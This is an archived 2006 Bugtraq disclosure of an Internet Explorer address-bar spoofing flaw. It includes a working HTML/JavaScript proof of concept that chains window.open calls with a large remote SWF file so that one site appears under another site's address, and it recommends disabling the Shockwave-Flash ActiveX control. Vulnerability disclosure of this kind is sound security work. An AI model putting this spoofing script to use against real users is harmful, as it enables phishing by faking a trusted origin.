bugtraq - Another way to spoof Internet Explorer Address Bar

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Message-ID: <20060404142731.14116.qmail@securityfocus.com>
Date: 4 Apr 2006 14:27:31 -0000
From: hainamluke@...oo.com
To: bugtraq@...urityfocus.com
Subject: Another way to spoof Internet Explorer Address Bar

DESCRIPTION
Attacker alse can spoof the address bar with another HTML page instead of the shockwave-flash file by continuing make to window.location
If you use a very large SWF file, the last page will be display as long as SWF loading time with the original address bar.
This exploit code will try to display www.microsoft.com with address bar of www.google.com

########### LukesTest2.htm ###########
<a href="javascript:spoof()">Perform the second Test</a><br>
<script>
	function	makewin(url) {
		win 	= window.open (url, "new");
	}
	function spoof() {
		makewin('http://www.google.com/');
		setTimeout("makewin('http://one.fsphost.com/dangquang/musicflash1/bupbebietyeu.swf')",2000);
		setTimeout("makewin('http://www.microsoft.com/')",4000);		
	}	
</script>
##################################

The SWF will be displayed when it is loaded fully as well as my first sample code.

SOLUTION: 
Disable Shockwave-Flash ActiveX Control